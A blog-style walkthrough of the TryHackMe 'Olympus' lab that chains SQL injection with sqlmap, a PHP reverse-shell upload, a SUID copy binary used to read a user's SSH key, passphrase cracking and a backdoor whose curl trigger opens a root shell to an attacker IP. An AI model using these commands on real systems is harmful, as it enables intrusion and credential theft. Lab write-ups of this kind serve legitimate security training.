Olympus - SQL Injection, an Overlooked Chat App, and a Custom SUID Binary to Root
Some TryHackMe rooms teach you one technique and let you drill it until it sticks. Olympus is not one of those rooms. It strings together a forgotten legacy CMS, a textbook SQL injection, an internal chat application nobody bothered to secure, and a custom-built SUID binary that turned out to be far more useful for its intended purpose than for the vulnerability I initially assumed it had. By the time I reached root, I'd touched almost every fundamental technique in the offensive toolkit - and picked up a small reminder that the boring option usually beats the clever one.
This post walks through the full chain, start to finish.
Scanning the Surface
Before anything else, I pointed the box's domain at its assigned IP by adding an entry to /etc/hosts:
10.10.x.x olympus.thm
With that in place, I could address the target by name instead of a raw IP for the rest of the engagement. Then came the first step I always take: a full port scan.
nmap -sC -sV -p- olympus.thm
Only two ports came back:
22/tcp open ssh 80/tcp open http
Nothing exotic - a standard web server and SSH. With a surface this small, the web application was clearly where the engagement would actually happen.
A Forgotten Corner of the CMS
The main site on port 80 didn't give up much on its own, so I ran a directory brute-force pass against it:
gobuster dir -u http://olympus.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Buried among the usual noise was a hidden directory:
/~webmaster
Browsing to it revealed what was clearly an old, half-abandoned instance of the site - broken styling, dead links, but a fully functional login form and, more importantly, a search bar. Old code left reachable on a live domain is one of my favorite things to find during recon, because it so often means old vulnerabilities are still reachable too.
Breaking the Search Function
Before reaching for automation, I wanted to confirm the vulnerability manually. A single quote into the search field was enough:
test'
The application threw a raw MySQL syntax error back at me - and, as a nice bonus, the error message leaked a fragment of the underlying query itself, including a trailing AND post_status='publish' clause. That single leaked fragment told me two things at once: the input was landing directly inside a SQL statement unsanitized, and the schema behind it looked like it might be reusing conventions from a blogging-style content model. Either way, the injection was confirmed.
Automating Extraction with sqlmap
With the vulnerability confirmed, I captured a search request in Burp Suite, saved it to a file, and handed it to sqlmap:
sqlmap -r burprequest --dbs
The backend was MySQL, and one database stood out immediately: olympus. Pulling its table list gave me a clear roadmap of where to look next:
sqlmap -r burprequest -D olympus --tables
categories, chats, comments, flag, posts, users
The flag table was the obvious first stop and handed over the first flag without any resistance:
sqlmap -r burprequest -D olympus -T flag --dump
The users table was more interesting. It contained three accounts - prometheus (User), root (Admin), and zeus (User) - each with a bcrypt password hash. I kicked off a cracking attempt against all three in parallel with hashcat:
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt --username
Bcrypt is deliberately slow, so this ran in the background while I kept enumerating - and, as it turned out, cracking these particular hashes wasn't actually necessary for the path that eventually got me in.
From User Emails to a Second Application
Something in the users dump was more useful than the hashes: the email addresses. prometheus was still on @olympus.thm, but root and zeus were both registered under @chat.olympus.thm - a domain that hadn't shown up anywhere in my recon so far. Same target, same IP, just another virtual host waiting to be addressed by name - so I added a second line to /etc/hosts:
10.10.x.x chat.olympus.thm
That was enough to reveal a completely separate application: an internal chat tool, with its own login and, critically, its own file upload feature. A quick directory brute-force against it turned up an /uploads directory - empty of anything guessable, but clearly the storage location for whatever got uploaded through the chat.
Reading Old Conversations
Rather than trying to guess filenames in /uploads, I went back to the database I already had access to and dumped the chats table:
sqlmap -r burprequest -D olympus -T chats --dump
The conversation history told its own story. prometheus had attached a file called prometheus_password.txt - and in the very next message, complained that they'd tried re-uploading something and couldn't find it in the folder afterwards. zeus replied that the IT admin had built the upload feature to randomize stored filenames specifically to stop attackers from guessing them directly. Underneath that human-readable exchange, the file column in the same table quietly held the actual randomized filename the server had generated. The obfuscation only worked against people browsing the upload folder blind - it did nothing against someone who could just read the database.
Turning the Upload Feature into Code Execution
With that in mind, the next step was obvious: if the chat app didn't validate file extensions any more carefully than it validated who could see the stored filenames, a PHP reverse shell should upload just as happily as a text file. I grabbed a copy of the classic pentestmonkey PHP reverse shell, set my IP and listening port, and uploaded it through the same chat feature.
A fresh dump of the chats table (forcing sqlmap to re-query instead of serving its cached results) confirmed the upload had gone through and handed me the new randomized filename. With a netcat listener running, one request was enough:
curl http://chat.olympus.thm/uploads/<random-filename>.php
The listener caught a connection almost immediately:
uid=33(www-data) gid=33(www-data) groups=33(www-data),7777(web)
Foothold secured.
Hunting for a Path to Privilege
After stabilizing the shell with the usual python3 -c 'import pty; pty.spawn("/bin/bash")' trick, I went straight for SUID binaries:
find / -perm -u=s -type f 2>/dev/null
The output was mostly the expected system tools - sudo, mount, passwd, and friends - but one entry didn't belong on that list at all: /usr/bin/cputils, owned by zeus:zeus with the SUID bit set. A custom binary, running as another user, dropped into /usr/bin - exactly the kind of thing a "the IT kid used a random file name function" comment in a chat log should make you go looking for.
Running file and strings against it showed a small, unstripped C++ binary. Two behaviors stood out in the symbol table: a call to system("figlet CPutils") printing an ASCII banner on startup, and a manual file-copy routine built around fopen/fgetc/fputc, prompting interactively for a source and a target file.
Two Ways In (and Which One Actually Worked)
My first instinct was the classic one: figlet was being called through system() without an absolute path, which is a textbook PATH-hijacking opportunity. I dropped a fake figlet script into a writable directory, pushed it to the front of $PATH, and ran the binary expecting it to execute my script with zeus's effective privileges. It was a reasonable theory, but getting a stable, interactive shell out of it turned into more of a fight with TTY handling than the actual exploit deserved.
Stepping back, the binary's intended purpose was the much cleaner route the whole time. Since cputils runs SUID as zeus, feeding it a source file that only zeus can read still lets it perform the copy - the resulting target file is readable by whoever asked for the copy. There was no need to hijack anything; I just had to ask it, politely, to copy something I wasn't supposed to be able to read.
The one wrinkle: the binary has a stack canary, and long file paths trigger it (*** stack smashing detected ***). Staying inside /tmp with short, relative filenames kept me safely under whatever internal buffer size it was using:
cd /tmp /usr/bin/cputils
Enter the Name of Source File: /home/zeus/.ssh/id_rsa
Enter the Name of Target File: id_rsa
Exfiltrating and Cracking the SSH Key
With a copy of zeus's private key sitting in /tmp and readable by www-data, I served it out with Python's built-in HTTP server and pulled it down to my attacking machine. SSH refused to use it without a passphrase, so I converted it into a crackable hash and set John loose on it:
ssh2john id_rsa > id_hash john --wordlist=/usr/share/wordlists/rockyou.txt id_hash
The passphrase cracked in under a minute - a single dictionary word (sn********e), which was more than enough:
ssh -i id_rsa zeus@olympus.thm
A proper interactive shell as zeus, complete with real group memberships to poke at. Second user, second flag, and a much more comfortable position to hunt for root from.
A Password-Protected Door in the Web Root
Something in the zeus home directory hinted that a previous "attacker" - in the room's own fiction, prometheus again - had already found a way back into the box as a superuser. That pointed me at /var/www/html, alongside the CMS files I'd already seen. Sitting next to them was a directory with unusually tight permissions - readable and executable only by root and zeus - containing a single PHP file with a deliberately unreadable, randomized filename.
Reading it revealed a password-gated reverse-root-shell backdoor: a hardcoded token checked against a POST password parameter, and ip/port GET parameters used to open a raw socket back to a listener. Once authenticated, it spawned a shell that quietly executed a binary hidden at /lib/defended/libc.so.99 - not actual libc, but a disguised SUID helper doing the real privilege escalation work under the hood.
Popping Root
With a listener running, the trigger was a single request combining both the POST password and the GET parameters:
curl "http://<target-ip>/<hidden-dir>/<script>.php?ip=<attacker-ip>&port=4444" -d "password=<token>"
One detail cost me a few minutes here: firing the request at the domain name returned a plain Apache 404, because the vhost serving /var/www/html wasn't the one matched by that Host header. Switching to the raw target IP fixed it immediately, and the listener caught a shell running as root.
Wrapping Up
After stabilizing the new shell the same way as before, I picked up the remaining flags - the root flag sitting where you'd expect, and a bonus flag with no hint beyond a comment left in the room itself: "regex can be useful." A single command found it tucked away in the filesystem, nowhere near where I'd have thought to look manually:
grep -irl 'flag{' / 2>/dev/null
Worth mentioning: partway through this box, my AttackBox connection dropped entirely and had to be re-provisioned from scratch. Because I'd already exfiltrated zeus's SSH key and cracked its passphrase, getting back to where I'd been took nothing more than re-adding the target's new IP to /etc/hosts and reconnecting over SSH - no need to replay the entire SQLi-to-RCE chain. A good reminder that in a real engagement, your loot is worth keeping somewhere that isn't a single disposable host.
Final Thoughts
Olympus packs a genuinely satisfying amount of ground into one box:
Legacy or staging environments left reachable on a live domain are a recurring theme in real assessments, not just CTFs - old code tends to reintroduce vulnerabilities that were patched everywhere else.
Once you have read access to an application's own database, use it. The chats table handed me two separate working exploits for free, well before any directory brute-force would have found them on its own.
Not every SUID binary needs a clever injection trick. Sometimes the intended functionality is the exploit - cputils was never meant to let www-data read zeus's SSH key, but nobody stopped it from doing exactly that.
Stack protections on custom binaries still matter even once you've found the vulnerability - they shape how you use the exploit, not just whether it exists.
Compromised infrastructure has a habit of quietly hiding more infrastructure inside itself. The password-gated backdoor sitting in the web root was a good reminder to always take a second look at what's living next to the application you already broke.
A genuinely fun chain from start to finish, and solid practice across web exploitation, credential handling, and privilege escalation in one sitting. Recommended.